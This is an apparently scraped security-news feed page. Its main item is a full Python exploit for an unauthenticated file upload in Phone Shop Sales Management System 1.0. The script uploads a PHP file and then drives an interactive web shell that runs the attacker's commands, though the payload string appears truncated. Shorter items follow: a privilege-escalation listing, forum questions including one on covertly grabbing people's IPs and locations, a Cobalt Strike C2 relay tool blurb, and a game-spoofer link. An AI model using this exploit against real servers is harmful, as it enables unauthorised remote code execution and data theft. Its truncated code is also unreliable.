Exploit Collector
Phone Shop Sales Management System 1.0 Shell Upload

https://3.bp.blogspot.com/--aVxNCIn1VA/WWlvnVN-uzI/AAAAAAAAIRQ/ADDhvty6Qn8T3Zf1bX42ni77vOOnTgOQwCLcBGAs/s1600/hack_img5.png
Phone Shop Sales Management System version 1.0 suffers from a remote shell upload vulnerability.

MD5 | 10fbcabc593444ffc45f13cf9713a185

Download
# Exploit Title: Phone Shop Sales Management System - Arbitrary File Upload (Unauthenticated)
# Date: 20/04/21
# Exploit Author: Richard Jones
# Vendor Homepage: https://www.sourcecodester.com/php/10882/phone-shop-sales-managements-system.html
# Version: 1.0
# Tested on: Windows 10 build 19041 + xampp 3.2.4

import requests
import sys

IP="127.0.0.1" # CHANGE ME

ADDURL=f"http://{IP}/osms/Execute/ExAddProduct.php"
CALLSHELLURL=f"http://{IP}/osms/assets/img/Product_Uploaded/rev.php"
s = requests.Session()

def postShell():

data = {
"ProductName":"1",
"BrandName":"1",
"ProductPrice":1,
"Quantity":"1",
"TotalPrice":1,
"DisplaySize":"1",
"OperatingSystem":"1",
"Processor":"1",
"InternalMemory":"1",
"RAM":"1",
"CameraDescription":"1",
"BatteryLife":"1",
"Weight":"1",
"Model":"1",
"Dimension":"1",
"date2":"1",
"Description":"1",
"_wysihtml5_mode":"1",
}
fileData = {
'ProductImage':("rev.php","<?php", "application/octet-stream")}

r = s.post(ADDURL, files=fileData, data=data)

if "The product is successfully added" in r.text:
return True
else:
return False

def runWebShell():
try:
while True:
cmd=input("\033[32;1m" +"$: "+ "\033[0m")
if cmd == "exit":
sys.exit()
r = s.get(f"{CALLSHELLURL}?c={cmd}", verify=False)
if r.status_code == 200:
print(r.text)
else:
raise Exception("Cmd error")
except KeyboardInterrupt():
sys.exit()

def banner():
ban = r"""__________.__ _________.__ _________ .__ _____ _________
\______ \ |__ ____ ____ ____ / _____/| |__ ____ ______ / _____/____ | | ____ ______ / \ / _____/
| ___/ | \ / _ \ / \_/ __ \ \_____ \ | | \ / _ \\____ \ \_____ \\__ \ | | _/ __ \ / ___/ / \ / \ \_____ \
| | | Y ( <_) | \ ___/ / \| Y ( <_) |_> > / \/ __ \| |_\ ___/ \___ \ / Y \ / \
|____| |___| /\____/|___| /\___ > /_______ /|___| /\____/| __/ /_______ (____ /____/\___ >____ > \____|__ / /\ /_______ / /\
\/ \/ \/ \/ \/ |__| \/ \/ \/ \/ \/ \/ \/ \/ """

return ban

def main():
print("\033[34;1m" + banner() + "\033[0m")
print("\033[32;1m" + "Created by Richard Jones 20/04/2021"+ "\033[0m" + "\n")
print("\033[72;1m" +"[+] Sending WebShell..."+ "\033[0m")
if postShell():
print("\033[72;1m" +"[+] Calling WebShell..."+ "\033[0m")
runWebShell()

if __name__ == "__main__":
main()

Source:packetstormsecurity.com

Exploit Collector
Microsoft DiagHub Privilege Escalation

https://3.bp.blogspot.com/-S_42fggy9lU/WWlvmFk_l6I/AAAAAAAAIRE/4fLLQglySPcuo1eoPxnOCfdodS4kW3PlwCLcBGAs/s1600/hack_img3.png
Microsoft Diaghub suffers from a privilege escalation vulnerability.

MD5 | 524e5dde4767b98885a71c971e7d92e8

Download
Source:packetstormsecurity.com

Dark Reading: Attacks/Breaches
Beware the Bug Bounty

In recent months, bug-bounty programs have shifted from mitigating risk to inadvertently creating new liabilities for customers and vendors.

hacking: security in practice
Is Wls2 recommended for hacking?

Title says it all , I know VM is usually the way but for labs like HTB does it matter if is a VM or just wls?

submitted by /u/ChinadaCam
[link] [comments]

hacking: security in practice
Is there any other ways other than grabify to easily pull locations and ips?

Grabify doesn’t always too the trick it’s too easily distinguishable. Anyone got any suggestions?

submitted by /u/thekkingg12vy
[link] [comments]

hacking: security in practice
The FBI removed hacker backdoors from vulnerable Microsoft Exchange servers.

https://external-preview.redd.it/FUrwVOYOcuVoPnkmg-ee9Z3cXwPOWhj_c3P6kUjhwK0.jpg?width=640&crop=smart&auto=webp&s=5ae5f608f05bbdfb96e74169f875a32e1247c06d submitted by /u/fatrat957
[link] [comments]

Kali Linux Tutorials
AzureC2Relay : An Azure Function That Validates And Relays Cobalt Strike Beacon

AzureC2Relay is an Azure Function that validates and relays Cobalt Strike beacon traffic by verifying the incoming requests based on a Cobalt Strike Malleable C2 profile. Any incoming requests that do not share the profiles user-agent, URI paths, headers, and query parameters, will be redirected to a configurable decoy website. The validated C2 traffic is […]

The post AzureC2Relay : An Azure Function That Validates And Relays Cobalt Strike Beacon appeared first on Kali Linux Tutorials.

Hacking on Medium
How 1inch protects users from front-running

https://cdn-images-1.medium.com/max/1920/1*UC-uDYA-J2zuM42MULS02A.png
A unique feature, ‘virtual rates’, protects users making swaps on 1inch from front-running attacks.

Continue reading on Medium »

Hacking on Medium
Serving ML Model — Photo2Cartoon and RetinaFaceAntiCov

https://cdn-images-1.medium.com/max/2526/1*kt753u6g_gxAdMazgfqxRA.png
Serving Photo2Cartoon and RetinaFaceAntiCov machine learning models using FastAPI and Streamlit.

Continue reading on Medium »

Hacking on Medium
POKEMON GO hack

https://cdn-images-1.medium.com/max/667/1*jK4EjV7RVNs4LGJ6PqhEdA.png
POKEMON GO hack POGO SPOOFER 2021 iOS & android

Continue reading on Medium »